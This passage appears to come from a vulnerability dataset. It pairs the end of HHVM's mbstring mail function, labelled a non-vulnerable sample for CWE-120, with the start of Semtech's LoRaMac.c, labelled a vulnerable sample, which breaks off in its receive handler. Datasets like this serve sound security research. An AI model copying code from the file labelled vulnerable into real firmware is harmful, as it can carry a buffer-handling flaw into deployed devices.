char)to_r[to_len - 1])) { break; } to_r[to_len - 1] = '\0'; } for (size_t i = 0; to_r[i]; i++) { if (iscntrl((unsigned char)to_r[i])) { /** * According to RFC 822, section 3.1.1 long headers may be * separated into parts using CRLF followed at least one * linear-white-space character ('\t' or ' '). * To prevent these separators from being replaced with a space, * we use the SKIP_LONG_HEADER_SEP_MBSTRING to skip over them. */ SKIP_LONG_HEADER_SEP_MBSTRING(to_r, i); to_r[i] = ' '; } } } else { raise_warning("Missing To: field"); err = 1; } /* Subject: */ String encoded_subject; if (!subject.isNull()) { orig_str.no_language = MBSTRG(current_language); orig_str.val = (unsigned char *)subject.data(); orig_str.len = subject.size(); orig_str.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; if (orig_str.no_encoding == mbfl_no_encoding_invalid || orig_str.no_encoding == mbfl_no_encoding_pass) { mbfl_encoding *encoding = (mbfl_encoding*) mbfl_identify_encoding2(&orig_str, (const mbfl_encoding**) MBSTRG(current_detect_order_list), MBSTRG(current_detect_order_list_size), MBSTRG(strict_detection)); orig_str.no_encoding = encoding != nullptr ? encoding->no_encoding : mbfl_no_encoding_invalid; } mbfl_string *pstr = mbfl_mime_header_encode (&orig_str, &conv_str, tran_cs, head_enc, "\n", sizeof("Subject: [PHP-jp nnnnnnnn]")); if (pstr != nullptr) { encoded_subject = String(reinterpret_cast<char*>(pstr->val), pstr->len, AttachString); } } else { raise_warning("Missing Subject: field"); err = 1; } /* message body */ String encoded_message; if (!message.empty()) { orig_str.no_language = MBSTRG(current_language); orig_str.val = (unsigned char*)message.data(); orig_str.len = message.size(); orig_str.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; if (orig_str.no_encoding == mbfl_no_encoding_invalid || orig_str.no_encoding == mbfl_no_encoding_pass) { mbfl_encoding *encoding = (mbfl_encoding*) mbfl_identify_encoding2(&orig_str, (const mbfl_encoding**) MBSTRG(current_detect_order_list), MBSTRG(current_detect_order_list_size), MBSTRG(strict_detection)); orig_str.no_encoding = encoding != nullptr ? encoding->no_encoding : mbfl_no_encoding_invalid; } mbfl_string *pstr = nullptr; { mbfl_string tmpstr; if (mbfl_convert_encoding(&orig_str, &tmpstr, tran_cs) != nullptr) { tmpstr.no_encoding = mbfl_no_encoding_8bit; pstr = mbfl_convert_encoding(&tmpstr, &conv_str, body_enc); free(tmpstr.val); } } if (pstr != nullptr) { encoded_message = String(reinterpret_cast<char*>(pstr->val), pstr->len, AttachString); } } else { /* this is not really an error, so it is allowed. */ raise_warning("Empty message body"); } /* other headers */ #define PHP_MBSTR_MAIL_MIME_HEADER1 "Mime-Version: 1.0" #define PHP_MBSTR_MAIL_MIME_HEADER2 "Content-Type: text/plain" #define PHP_MBSTR_MAIL_MIME_HEADER3 "; charset=" #define PHP_MBSTR_MAIL_MIME_HEADER4 "Content-Transfer-Encoding: " if (!headers.empty()) { const char *p = headers.data(); int n = headers.size(); mbfl_memory_device_strncat(&device, p, n); if (n > 0 && p[n - 1] != '\n') { mbfl_memory_device_strncat(&device, "\n", 1); } } mbfl_memory_device_strncat(&device, PHP_MBSTR_MAIL_MIME_HEADER1, sizeof(PHP_MBSTR_MAIL_MIME_HEADER1) - 1); mbfl_memory_device_strncat(&device, "\n", 1); if (!suppressed_hdrs.cnt_type) { mbfl_memory_device_strncat(&device, PHP_MBSTR_MAIL_MIME_HEADER2, sizeof(PHP_MBSTR_MAIL_MIME_HEADER2) - 1); char *p = (char *)mbfl_no2preferred_mime_name(tran_cs); if (p != nullptr) { mbfl_memory_device_strncat(&device, PHP_MBSTR_MAIL_MIME_HEADER3, sizeof(PHP_MBSTR_MAIL_MIME_HEADER3) - 1); mbfl_memory_device_strcat(&device, p); } mbfl_memory_device_strncat(&device, "\n", 1); } if (!suppressed_hdrs.cnt_trans_enc) { mbfl_memory_device_strncat(&device, PHP_MBSTR_MAIL_MIME_HEADER4, sizeof(PHP_MBSTR_MAIL_MIME_HEADER4) - 1); const char *p = (char *)mbfl_no2preferred_mime_name(body_enc); if (p == nullptr) { p = "7bit"; } mbfl_memory_device_strcat(&device, p); mbfl_memory_device_strncat(&device, "\n", 1); } mbfl_memory_device_unput(&device); mbfl_memory_device_output('\0', &device); char *all_headers = (char *)device.buffer; String cmd = string_escape_shell_cmd(extra_cmd.c_str()); bool ret = (!err && php_mail(to_r, encoded_subject.data(), encoded_message.data(), all_headers, cmd.data())); mbfl_memory_device_clear(&device); req::free(to_r); return ret; } static struct mbstringExtension final : Extension { mbstringExtension() : Extension("mbstring", NO_EXTENSION_VERSION_YET) {} void moduleInit() override { // TODO make these PHP_INI_ALL and thread local once we use them IniSetting::Bind(this, IniSetting::PHP_INI_SYSTEM, "mbstring.http_input", &http_input); IniSetting::Bind(this, IniSetting::PHP_INI_SYSTEM, "mbstring.http_output", &http_output); IniSetting::Bind(this, IniSetting::PHP_INI_ALL, "mbstring.substitute_character", &MBSTRG(current_filter_illegal_mode)); HHVM_RC_INT(MB_OVERLOAD_MAIL, 1); HHVM_RC_INT(MB_OVERLOAD_STRING, 2); HHVM_RC_INT(MB_OVERLOAD_REGEX, 4); HHVM_RC_INT(MB_CASE_UPPER, PHP_UNICODE_CASE_UPPER); HHVM_RC_INT(MB_CASE_LOWER, PHP_UNICODE_CASE_LOWER); HHVM_RC_INT(MB_CASE_TITLE, PHP_UNICODE_CASE_TITLE); HHVM_FE(mb_list_encodings); HHVM_FE(mb_list_encodings_alias_names); HHVM_FE(mb_list_mime_names); HHVM_FE(mb_check_encoding); HHVM_FE(mb_convert_case); HHVM_FE(mb_convert_encoding); HHVM_FE(mb_convert_kana); HHVM_FE(mb_convert_variables); HHVM_FE(mb_decode_mimeheader); HHVM_FE(mb_decode_numericentity); HHVM_FE(mb_detect_encoding); HHVM_FE(mb_detect_order); HHVM_FE(mb_encode_mimeheader); HHVM_FE(mb_encode_numericentity); HHVM_FE(mb_encoding_aliases); HHVM_FE(mb_ereg_match); HHVM_FE(mb_ereg_replace); HHVM_FE(mb_ereg_search_getpos); HHVM_FE(mb_ereg_search_getregs); HHVM_FE(mb_ereg_search_init); HHVM_FE(mb_ereg_search_pos); HHVM_FE(mb_ereg_search_regs); HHVM_FE(mb_ereg_search_setpos); HHVM_FE(mb_ereg_search); HHVM_FE(mb_ereg); HHVM_FE(mb_eregi_replace); HHVM_FE(mb_eregi); HHVM_FE(mb_get_info); HHVM_FE(mb_http_input); HHVM_FE(mb_http_output); HHVM_FE(mb_internal_encoding); HHVM_FE(mb_language); HHVM_FE(mb_output_handler); HHVM_FE(mb_parse_str); HHVM_FE(mb_preferred_mime_name); HHVM_FE(mb_regex_encoding); HHVM_FE(mb_regex_set_options); HHVM_FE(mb_send_mail); HHVM_FE(mb_split); HHVM_FE(mb_strcut); HHVM_FE(mb_strimwidth); HHVM_FE(mb_stripos); HHVM_FE(mb_stristr); HHVM_FE(mb_strlen); HHVM_FE(mb_strpos); HHVM_FE(mb_strrchr); HHVM_FE(mb_strrichr); HHVM_FE(mb_strripos); HHVM_FE(mb_strrpos); HHVM_FE(mb_strstr); HHVM_FE(mb_strtolower); HHVM_FE(mb_strtoupper); HHVM_FE(mb_strwidth); HHVM_FE(mb_substitute_character); HHVM_FE(mb_substr_count); HHVM_FE(mb_substr); loadSystemlib(); } static std::string http_input; static std::string http_output; static std::string substitute_character; } s_mbstring_extension; std::string mbstringExtension::http_input = "pass"; std::string mbstringExtension::http_output = "pass"; /////////////////////////////////////////////////////////////////////////////// }
./CrossVul/dataset_final_sorted/CWE-120/cpp/good_850_0
crossvul-cpp_data_bad_3927_0
/*! * \file LoRaMac.c * * \brief LoRa MAC layer implementation * * \copyright Revised BSD License, see section \ref LICENSE. * * \code * ______ _ * / _____) _ | | * ( (____ _____ ____ _| |_ _____ ____| |__ * \____ \| ___ | (_ _) ___ |/ ___) _ \ * _____) ) ____| | | || |_| ____( (___| | | | * (______/|_____)_|_|_| \__)_____)\____)_| |_| * (C)2013-2017 Semtech * * ___ _____ _ ___ _ _____ ___ ___ ___ ___ * / __|_ _/_\ / __| |/ / __/ _ \| _ \/ __| __| * \__ \ | |/ _ \ (__| ' <| _| (_) | / (__| _| * |___/ |_/_/ \_\___|_|\_\_| \___/|_|_\\___|___| * embedded.connectivity.solutions=============== * * \endcode * * \author Miguel Luis ( Semtech ) * * \author Gregory Cristian ( Semtech ) * * \author Daniel Jaeckle ( STACKFORCE ) * * \author Johannes Bruder ( STACKFORCE ) */ #include "utilities.h" #include "region/Region.h" #include "LoRaMacClassB.h" #include "LoRaMacCrypto.h" #include "secure-element.h" #include "LoRaMacTest.h" #include "LoRaMacTypes.h" #include "LoRaMacConfirmQueue.h" #include "LoRaMacHeaderTypes.h" #include "LoRaMacMessageTypes.h" #include "LoRaMacParser.h" #include "LoRaMacCommands.h" #include "LoRaMacAdr.h" #include "LoRaMac.h" #ifndef LORAMAC_VERSION /*! * LORaWAN version definition. */ #define LORAMAC_VERSION 0x01000300 #endif /*! * Maximum PHY layer payload size */ #define LORAMAC_PHY_MAXPAYLOAD 255 /*! * Maximum MAC commands buffer size */ #define LORA_MAC_COMMAND_MAX_LENGTH 128 /*! * Maximum length of the fOpts field */ #define LORA_MAC_COMMAND_MAX_FOPTS_LENGTH 15 /*! * LoRaMac duty cycle for the back-off procedure during the first hour. */ #define BACKOFF_DC_1_HOUR 100 /*! * LoRaMac duty cycle for the back-off procedure during the next 10 hours. */ #define BACKOFF_DC_10_HOURS 1000 /*! * LoRaMac duty cycle for the back-off procedure during the next 24 hours. */ #define BACKOFF_DC_24_HOURS 10000 /*! * LoRaMac internal states */ enum eLoRaMacState { LORAMAC_IDLE = 0x00000000, LORAMAC_STOPPED = 0x00000001, LORAMAC_TX_RUNNING = 0x00000002, LORAMAC_RX = 0x00000004, LORAMAC_ACK_RETRY = 0x00000010, LORAMAC_TX_DELAYED = 0x00000020, LORAMAC_TX_CONFIG = 0x00000040, LORAMAC_RX_ABORT = 0x00000080, }; /* * Request permission state */ typedef enum eLoRaMacRequestHandling { LORAMAC_REQUEST_HANDLING_OFF = 0, LORAMAC_REQUEST_HANDLING_ON = !LORAMAC_REQUEST_HANDLING_OFF }LoRaMacRequestHandling_t; typedef struct sLoRaMacNvmCtx { /* * LoRaMac region. */ LoRaMacRegion_t Region; /* * LoRaMac default parameters */ LoRaMacParams_t MacParamsDefaults; /* * Network ID ( 3 bytes ) */ uint32_t NetID; /* * Mote Address */ uint32_t DevAddr; /*! * Multicast channel list */ MulticastCtx_t MulticastChannelList[LORAMAC_MAX_MC_CTX]; /* * Actual device class */ DeviceClass_t DeviceClass; /* * Indicates if the node is connected to * a private or public network */ bool PublicNetwork; /* * LoRaMac ADR control status */ bool AdrCtrlOn; /* * Counts the number of missed ADR acknowledgements */ uint32_t AdrAckCounter; /* * LoRaMac parameters */ LoRaMacParams_t MacParams; /* * Maximum duty cycle * \remark Possibility to shutdown the device. */ uint8_t MaxDCycle; /* * Enables/Disables duty cycle management (Test only) */ bool DutyCycleOn; /* * Current channel index */ uint8_t LastTxChannel; /* * Buffer containing the MAC layer commands */ uint8_t MacCommandsBuffer[LORA_MAC_COMMAND_MAX_LENGTH]; /* * If the server has sent a FRAME_TYPE_DATA_CONFIRMED_DOWN this variable indicates * if the ACK bit must be set for the next transmission */ bool SrvAckRequested; /* * Aggregated duty cycle management */ uint16_t AggregatedDCycle; /* * Aggregated duty cycle management */ TimerTime_t LastTxDoneTime; TimerTime_t AggregatedTimeOff; /* * Stores the time at LoRaMac initialization. * * \remark Used for the BACKOFF_DC computation. */ SysTime_t InitializationTime; /* * Current LoRaWAN Version */ Version_t Version; /* * End-Device network activation */ ActivationType_t NetworkActivation; /*! * Last received Message integrity Code (MIC) */ uint32_t LastRxMic; }LoRaMacNvmCtx_t; typedef struct sLoRaMacCtx { /* * Length of packet in PktBuffer */ uint16_t PktBufferLen; /* * Buffer containing the data to be sent or received. */ uint8_t PktBuffer[LORAMAC_PHY_MAXPAYLOAD]; /*! * Current processed transmit message */ LoRaMacMessage_t TxMsg; /*! * Buffer containing the data received by the application. */ uint8_t AppData[LORAMAC_PHY_MAXPAYLOAD]; /* * Size of buffer containing the application data. */ uint8_t AppDataSize; /* * Buffer containing the upper layer data. */ uint8_t RxPayload[LORAMAC_PHY_MAXPAYLOAD]; SysTime_t LastTxSysTime; /* * LoRaMac internal state */ uint32_t MacState; /* * LoRaMac upper layer event functions */ LoRaMacPrimitives_t* MacPrimitives; /* * LoRaMac upper layer callback functions */ LoRaMacCallback_t* MacCallbacks; /* * Radio events function pointer */ RadioEvents_t RadioEvents; /* * LoRaMac duty cycle delayed Tx timer */ TimerEvent_t TxDelayedTimer; /* * LoRaMac reception windows timers */ TimerEvent_t RxWindowTimer1; TimerEvent_t RxWindowTimer2; /* * LoRaMac reception windows delay * \remark normal frame: RxWindowXDelay = ReceiveDelayX - RADIO_WAKEUP_TIME * join frame : RxWindowXDelay = JoinAcceptDelayX - RADIO_WAKEUP_TIME */ uint32_t RxWindow1Delay; uint32_t RxWindow2Delay; /* * LoRaMac Rx windows configuration */ RxConfigParams_t RxWindow1Config; RxConfigParams_t RxWindow2Config; RxConfigParams_t RxWindowCConfig; /* * Limit of uplinks without any donwlink response before the ADRACKReq bit will be set. */ uint16_t AdrAckLimit; /* * Limit of uplinks without any donwlink response after a the first frame with set ADRACKReq bit * before the trying to regain the connectivity. */ uint16_t AdrAckDelay; /* * Acknowledge timeout timer. Used for packet retransmissions. */ TimerEvent_t AckTimeoutTimer; /* * Uplink messages repetitions counter */ uint8_t ChannelsNbTransCounter; /* * Number of trials to get a frame acknowledged */ uint8_t AckTimeoutRetries; /* * Number of trials to get a frame acknowledged */ uint8_t AckTimeoutRetriesCounter; /* * Indicates if the AckTimeout timer has expired or not */ bool AckTimeoutRetry; /* * If the node has sent a FRAME_TYPE_DATA_CONFIRMED_UP this variable indicates * if the nodes needs to manage the server acknowledgement. */ bool NodeAckRequested; /* * Current channel index */ uint8_t Channel; /* * Last transmission time on air */ TimerTime_t TxTimeOnAir; /* * Structure to hold an MCPS indication data. */ McpsIndication_t McpsIndication; /* * Structure to hold MCPS confirm data. */ McpsConfirm_t McpsConfirm; /* * Structure to hold MLME confirm data. */ MlmeConfirm_t MlmeConfirm; /* * Structure to hold MLME indication data. */ MlmeIndication_t MlmeIndication; /* * Holds the current rx window slot */ LoRaMacRxSlot_t RxSlot; /* * LoRaMac tx/rx operation state */ LoRaMacFlags_t MacFlags; /* * Data structure indicating if a request is allowed or not. */ LoRaMacRequestHandling_t AllowRequests; /* * Non-volatile module context structure */ LoRaMacNvmCtx_t* NvmCtx; }LoRaMacCtx_t; /* * Module context. */ static LoRaMacCtx_t MacCtx; /* * Non-volatile module context. */ static LoRaMacNvmCtx_t NvmMacCtx; /* * List of module contexts. */ LoRaMacCtxs_t Contexts; /*! * Defines the LoRaMac radio events status */ typedef union uLoRaMacRadioEvents { uint32_t Value; struct sEvents { uint32_t RxTimeout : 1; uint32_t RxError : 1; uint32_t TxTimeout : 1; uint32_t RxDone : 1; uint32_t TxDone : 1; }Events; }LoRaMacRadioEvents_t; /*! * LoRaMac radio events status */ LoRaMacRadioEvents_t LoRaMacRadioEvents = { .Value = 0 }; /*! * \brief Function to be executed on Radio Tx Done event */ static void OnRadioTxDone( void ); /*! * \brief This function prepares the MAC to abort the execution of function * OnRadioRxDone in case of a reception error. */ static void PrepareRxDoneAbort( void ); /*! * \brief Function to be executed on Radio Rx Done event */ static void OnRadioRxDone( uint8_t* payload, uint16_t size, int16_t rssi, int8_t snr ); /*! * \brief Function executed on Radio Tx Timeout event */ static void OnRadioTxTimeout( void ); /*! * \brief Function executed on Radio Rx error event */ static void OnRadioRxError( void ); /*! * \brief Function executed on Radio Rx Timeout event */ static void OnRadioRxTimeout( void ); /*! * \brief Function executed on duty cycle delayed Tx timer event */ static void OnTxDelayedTimerEvent( void* context ); /*! * \brief Function executed on first Rx window timer event */ static void OnRxWindow1TimerEvent( void* context ); /*! * \brief Function executed on second Rx window timer event */ static void OnRxWindow2TimerEvent( void* context ); /*! * \brief Function executed on AckTimeout timer event */ static void OnAckTimeoutTimerEvent( void* context ); /*! * \brief Configures the events to trigger an MLME-Indication with * a MLME type of MLME_SCHEDULE_UPLINK. */ static void SetMlmeScheduleUplinkIndication( void ); /*! * Computes next 32 bit downlink counter value and determines the frame counter ID. * * \param[IN] addrID - Address identifier * \param[IN] fType - Frame type * \param[IN] macMsg - Data message object, holding the current 16 bit transmitted frame counter * \param[IN] lrWanVersion - LoRaWAN version * \param[IN] maxFCntGap - Maximum allowed frame counter difference (only for 1.0.X necessary) * \param[OUT] fCntID - Frame counter identifier * \param[OUT] currentDown - Current downlink counter value * * \retval - Status of the operation */ static LoRaMacCryptoStatus_t GetFCntDown( AddressIdentifier_t addrID, FType_t fType, LoRaMacMessageData_t* macMsg, Version_t lrWanVersion, uint16_t maxFCntGap, FCntIdentifier_t* fCntID, uint32_t* currentDown ); /*! * \brief Switches the device class * * \param [IN] deviceClass Device class to switch to */ static LoRaMacStatus_t SwitchClass( DeviceClass_t deviceClass ); /*! * \brief Gets the maximum application payload length in the absence of the optional FOpt field. * * \param [IN] datarate Current datarate * * \retval Max length */ static uint8_t GetMaxAppPayloadWithoutFOptsLength( int8_t datarate ); /*! * \brief Validates if the payload fits into the frame, taking the datarate * into account. * * \details Refer to chapter 4.3.2 of the LoRaWAN specification, v1.0 * * \param lenN Length of the application payload. The length depends on the * datarate and is region specific * * \param datarate Current datarate * * \param fOptsLen Length of the fOpts field * * \retval [false: payload does not fit into the frame, true: payload fits into * the frame] */ static bool ValidatePayloadLength( uint8_t lenN, int8_t datarate, uint8_t fOptsLen ); /*! * \brief Decodes MAC commands in the fOpts field and in the payload * * \param [IN] payload A pointer to the payload * \param [IN] macIndex The index of the payload where the MAC commands start * \param [IN] commandsSize The size of the MAC commands * \param [IN] snr The SNR value of the frame * \param [IN] rxSlot The RX slot where the frame was received */ static void ProcessMacCommands( uint8_t* payload, uint8_t macIndex, uint8_t commandsSize, int8_t snr, LoRaMacRxSlot_t rxSlot ); /*! * \brief LoRaMAC layer generic send frame * * \param [IN] macHdr MAC header field * \param [IN] fPort MAC payload port * \param [IN] fBuffer MAC data buffer to be sent * \param [IN] fBufferSize MAC data buffer size * \retval status Status of the operation. */ LoRaMacStatus_t Send( LoRaMacHeader_t* macHdr, uint8_t fPort, void* fBuffer, uint16_t fBufferSize ); /*! * \brief LoRaMAC layer send join/rejoin request * * \param [IN] joinReqType Type of join-request or rejoin * * \retval status Status of the operation. */ LoRaMacStatus_t SendReJoinReq( JoinReqIdentifier_t joinReqType ); /*! * \brief LoRaMAC layer frame buffer initialization * * \param [IN] macHdr MAC header field * \param [IN] fCtrl MAC frame control field * \param [IN] fOpts MAC commands buffer * \param [IN] fPort MAC payload port * \param [IN] fBuffer MAC data buffer to be sent * \param [IN] fBufferSize MAC data buffer size * \retval status Status of the operation. */ LoRaMacStatus_t PrepareFrame( LoRaMacHeader_t* macHdr, LoRaMacFrameCtrl_t* fCtrl, uint8_t fPort, void* fBuffer, uint16_t fBufferSize ); /* * \brief Schedules the frame according to the duty cycle * * \param [IN] allowDelayedTx When set to true, the a frame will be delayed, * the duty cycle restriction is active * \retval Status of the operation */ static LoRaMacStatus_t ScheduleTx( bool allowDelayedTx ); /* * \brief Secures the current processed frame ( TxMsg ) * \param[IN] txDr Data rate used for the transmission * \param[IN] txCh Index of the channel used for the transmission * \retval status Status of the operation */ static LoRaMacStatus_t SecureFrame( uint8_t txDr, uint8_t txCh ); /* * \brief Calculates the back-off time for the band of a channel. * * \param [IN] channel The last Tx channel index */ static void CalculateBackOff( uint8_t channel ); /* * \brief Function to remove pending MAC commands * * \param [IN] rxSlot The RX slot on which the frame was received * \param [IN] fCtrl The frame control field of the received frame * \param [IN] request The request type */ static void RemoveMacCommands( LoRaMacRxSlot_t rxSlot, LoRaMacFrameCtrl_t fCtrl, Mcps_t request ); /*! * \brief LoRaMAC layer prepared frame buffer transmission with channel specification * * \remark PrepareFrame must be called at least once before calling this * function. * * \param [IN] channel Channel to transmit on * \retval status Status of the operation. */ LoRaMacStatus_t SendFrameOnChannel( uint8_t channel ); /*! * \brief Sets the radio in continuous transmission mode * * \remark Uses the radio parameters set on the previous transmission. * * \param [IN] timeout Time in seconds while the radio is kept in continuous wave mode * \retval status Status of the operation. */ LoRaMacStatus_t SetTxContinuousWave( uint16_t timeout ); /*! * \brief Sets the radio in continuous transmission mode * * \remark Uses the radio parameters set on the previous transmission. * * \param [IN] timeout Time in seconds while the radio is kept in continuous wave mode * \param [IN] frequency RF frequency to be set. * \param [IN] power RF output power to be set. * \retval status Status of the operation. */ LoRaMacStatus_t SetTxContinuousWave1( uint16_t timeout, uint32_t frequency, uint8_t power ); /*! * \brief Resets MAC specific parameters to default */ static void ResetMacParameters( void ); /*! * \brief Initializes and opens the reception window * * \param [IN] rxTimer Window timer to be topped. * \param [IN] rxConfig Window parameters to be setup */ static void RxWindowSetup( TimerEvent_t* rxTimer, RxConfigParams_t* rxConfig ); /*! * \brief Opens up a continuous RX C window. This is used for * class c devices. */ static void OpenContinuousRxCWindow( void ); /*! * \brief Returns a pointer to the internal contexts structure. * * \retval void Points to a structure containing all contexts */ LoRaMacCtxs_t* GetCtxs( void ); /*! * \brief Restoring of internal module contexts * * \details This function allows to restore module contexts by a given pointer. * * * \retval LoRaMacStatus_t Status of the operation. Possible returns are: * returns are: * \ref LORAMAC_STATUS_OK, * \ref LORAMAC_STATUS_PARAMETER_INVALID, */ LoRaMacStatus_t RestoreCtxs( LoRaMacCtxs_t* contexts ); /*! * \brief Determines the frame type * * \param [IN] macMsg Data message object * * \param [OUT] fType Frame type * * \retval LoRaMacStatus_t Status of the operation. Possible returns are: * returns are: * \ref LORAMAC_STATUS_OK, * \ref LORAMAC_STATUS_PARAMETER_INVALID, */ LoRaMacStatus_t DetermineFrameType( LoRaMacMessageData_t* macMsg, FType_t* fType ); /*! * \brief Checks if the retransmission should be stopped in case of a unconfirmed uplink * * \retval Returns true if it should be stopped. */ static bool CheckRetransUnconfirmedUplink( void ); /*! * \brief Checks if the retransmission should be stopped in case of a confirmed uplink * * \retval Returns true it should be stopped. */ static bool CheckRetransConfirmedUplink( void ); /*! * \brief Stops the uplink retransmission * * \retval Returns true if successful. */ static bool StopRetransmission( void ); /*! * \brief Handles the ACK retries algorithm. * Increments the re-tries counter up until the specified number of * trials or the allowed maximum. Decrease the uplink datarate every 2 * trials. */ static void AckTimeoutRetriesProcess( void ); /*! * \brief Finalizes the ACK retries algorithm. * If no ACK is received restores the default channels */ static void AckTimeoutRetriesFinalize( void ); /*! * \brief Calls the callback to indicate that a context changed */ static void CallNvmCtxCallback( LoRaMacNvmCtxModule_t module ); /*! * \brief MAC NVM Context has been changed */ static void EventMacNvmCtxChanged( void ); /*! * \brief Region NVM Context has been changed */ static void EventRegionNvmCtxChanged( void ); /*! * \brief Crypto NVM Context has been changed */ static void EventCryptoNvmCtxChanged( void ); /*! * \brief Secure Element NVM Context has been changed */ static void EventSecureElementNvmCtxChanged( void ); /*! * \brief MAC commands module nvm context has been changed */ static void EventCommandsNvmCtxChanged( void ); /*! * \brief Class B module nvm context has been changed */ static void EventClassBNvmCtxChanged( void ); /*! * \brief Confirm Queue module nvm context has been changed */ static void EventConfirmQueueNvmCtxChanged( void ); /*! * \brief Verifies if a request is pending currently * *\retval 1: Request pending, 0: request not pending */ static uint8_t IsRequestPending( void ); /*! * \brief Enabled the possibility to perform requests * * \param [IN] requestState Request permission state */ static void LoRaMacEnableRequests( LoRaMacRequestHandling_t requestState ); /*! * \brief This function verifies if a RX abort occurred */ static void LoRaMacCheckForRxAbort( void ); /*! * \brief This function verifies if a beacon acquisition MLME * request was pending * * \retval 1: Request pending, 0: no request pending */ static uint8_t LoRaMacCheckForBeaconAcquisition( void ); /*! * \brief This function handles join request */ static void LoRaMacHandleMlmeRequest( void ); /*! * \brief This function handles mcps request */ static void LoRaMacHandleMcpsRequest( void ); /*! * \brief This function handles callback events for requests */ static void LoRaMacHandleRequestEvents( void ); /*! * \brief This function handles callback events for indications */ static void LoRaMacHandleIndicationEvents( void ); /*! * Structure used to store the radio Tx event data */ struct { TimerTime_t CurTime; }TxDoneParams; /*! * Structure used to store the radio Rx event data */ struct { TimerTime_t LastRxDone; uint8_t *Payload; uint16_t Size; int16_t Rssi; int8_t Snr; }RxDoneParams; static void OnRadioTxDone( void ) { TxDoneParams.CurTime = TimerGetCurrentTime( ); MacCtx.LastTxSysTime = SysTimeGet( ); LoRaMacRadioEvents.Events.TxDone = 1; if( ( MacCtx.MacCallbacks != NULL ) && ( MacCtx.MacCallbacks->MacProcessNotify != NULL ) ) { MacCtx.MacCallbacks->MacProcessNotify( ); } } static void OnRadioRxDone( uint8_t *payload, uint16_t size, int16_t rssi, int8_t snr ) { RxDoneParams.LastRxDone = TimerGetCurrentTime( ); RxDoneParams.Payload = payload; RxDoneParams.Size = size; RxDoneParams.Rssi = rssi; RxDoneParams.Snr = snr; LoRaMacRadioEvents.Events.RxDone = 1; if( ( MacCtx.MacCallbacks != NULL ) && ( MacCtx.MacCallbacks->MacProcessNotify != NULL ) ) { MacCtx.MacCallbacks->MacProcessNotify( ); } } static void OnRadioTxTimeout( void ) { LoRaMacRadioEvents.Events.TxTimeout = 1; if( ( MacCtx.MacCallbacks != NULL ) && ( MacCtx.MacCallbacks->MacProcessNotify != NULL ) ) { MacCtx.MacCallbacks->MacProcessNotify( ); } } static void OnRadioRxError( void ) { LoRaMacRadioEvents.Events.RxError = 1; if( ( MacCtx.MacCallbacks != NULL ) && ( MacCtx.MacCallbacks->MacProcessNotify != NULL ) ) { MacCtx.MacCallbacks->MacProcessNotify( ); } } static void OnRadioRxTimeout( void ) { LoRaMacRadioEvents.Events.RxTimeout = 1; if( ( MacCtx.MacCallbacks != NULL ) && ( MacCtx.MacCallbacks->MacProcessNotify != NULL ) ) { MacCtx.MacCallbacks->MacProcessNotify( ); } } static void UpdateRxSlotIdleState( void ) { if( MacCtx.NvmCtx->DeviceClass != CLASS_C ) { MacCtx.RxSlot = RX_SLOT_NONE; } else { MacCtx.RxSlot = RX_SLOT_WIN_CLASS_C; } } static void ProcessRadioTxDone( void ) { GetPhyParams_t getPhy; PhyParam_t phyParam; SetBandTxDoneParams_t txDone; if( MacCtx.NvmCtx->DeviceClass != CLASS_C ) { Radio.Sleep( ); } // Setup timers TimerSetValue( &MacCtx.RxWindowTimer1, MacCtx.RxWindow1Delay ); TimerStart( &MacCtx.RxWindowTimer1 ); TimerSetValue( &MacCtx.RxWindowTimer2, MacCtx.RxWindow2Delay ); TimerStart( &MacCtx.RxWindowTimer2 ); if( ( MacCtx.NvmCtx->DeviceClass == CLASS_C ) || ( MacCtx.NodeAckRequested == true ) ) { getPhy.Attribute = PHY_ACK_TIMEOUT; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); TimerSetValue( &MacCtx.AckTimeoutTimer, MacCtx.RxWindow2Delay + phyParam.Value ); TimerStart( &MacCtx.AckTimeoutTimer ); } // Store last Tx channel MacCtx.NvmCtx->LastTxChannel = MacCtx.Channel; // Update last tx done time for the current channel txDone.Channel = MacCtx.Channel; if( MacCtx.NvmCtx->NetworkActivation == ACTIVATION_TYPE_NONE ) { txDone.Joined = false; } else { txDone.Joined = true; } txDone.LastTxDoneTime = TxDoneParams.CurTime; RegionSetBandTxDone( MacCtx.NvmCtx->Region, &txDone ); // Update Aggregated last tx done time MacCtx.NvmCtx->LastTxDoneTime = TxDoneParams.CurTime; if( MacCtx.NodeAckRequested == false ) { MacCtx.McpsConfirm.Status = LORAMAC_EVENT_INFO_STATUS_OK; } } static void PrepareRxDoneAbort( void ) { MacCtx.MacState |= LORAMAC_RX_ABORT; if( MacCtx.NodeAckRequested == true ) { OnAckTimeoutTimerEvent( NULL ); } MacCtx.MacFlags.Bits.McpsInd = 1; MacCtx.MacFlags.Bits.MacDone = 1; UpdateRxSlotIdleState( ); } static void ProcessRadioRxDone( void ) { LoRaMacHeader_t macHdr; ApplyCFListParams_t applyCFList; GetPhyParams_t getPhy; PhyParam_t phyParam; LoRaMacCryptoStatus_t macCryptoStatus = LORAMAC_CRYPTO_ERROR; LoRaMacMessageData_t macMsgData; LoRaMacMessageJoinAccept_t macMsgJoinAccept; uint8_t *payload = RxDoneParams.Payload; uint16_t size = RxDoneParams.Size; int16_t rssi = RxDoneParams.Rssi; int8_t snr = RxDoneParams.Snr; uint8_t pktHeaderLen = 0; uint32_t downLinkCounter = 0; uint32_t address = MacCtx.NvmCtx->DevAddr; uint8_t multicast = 0; AddressIdentifier_t addrID = UNICAST_DEV_ADDR; FCntIdentifier_t fCntID; MacCtx.McpsConfirm.AckReceived = false; MacCtx.McpsIndication.Rssi = rssi; MacCtx.McpsIndication.Snr = snr; MacCtx.McpsIndication.RxSlot = MacCtx.RxSlot; MacCtx.McpsIndication.Port = 0; MacCtx.McpsIndication.Multicast = 0; MacCtx.McpsIndication.FramePending = 0; MacCtx.McpsIndication.Buffer = NULL; MacCtx.McpsIndication.BufferSize = 0; MacCtx.McpsIndication.RxData = false; MacCtx.McpsIndication.AckReceived = false; MacCtx.McpsIndication.DownLinkCounter = 0; MacCtx.McpsIndication.McpsIndication = MCPS_UNCONFIRMED; MacCtx.McpsIndication.DevAddress = 0; MacCtx.McpsIndication.DeviceTimeAnsReceived = false; Radio.Sleep( ); TimerStop( &MacCtx.RxWindowTimer2 ); // This function must be called even if we are not in class b mode yet. if( LoRaMacClassBRxBeacon( payload, size ) == true ) { MacCtx.MlmeIndication.BeaconInfo.Rssi = rssi; MacCtx.MlmeIndication.BeaconInfo.Snr = snr; return; } // Check if we 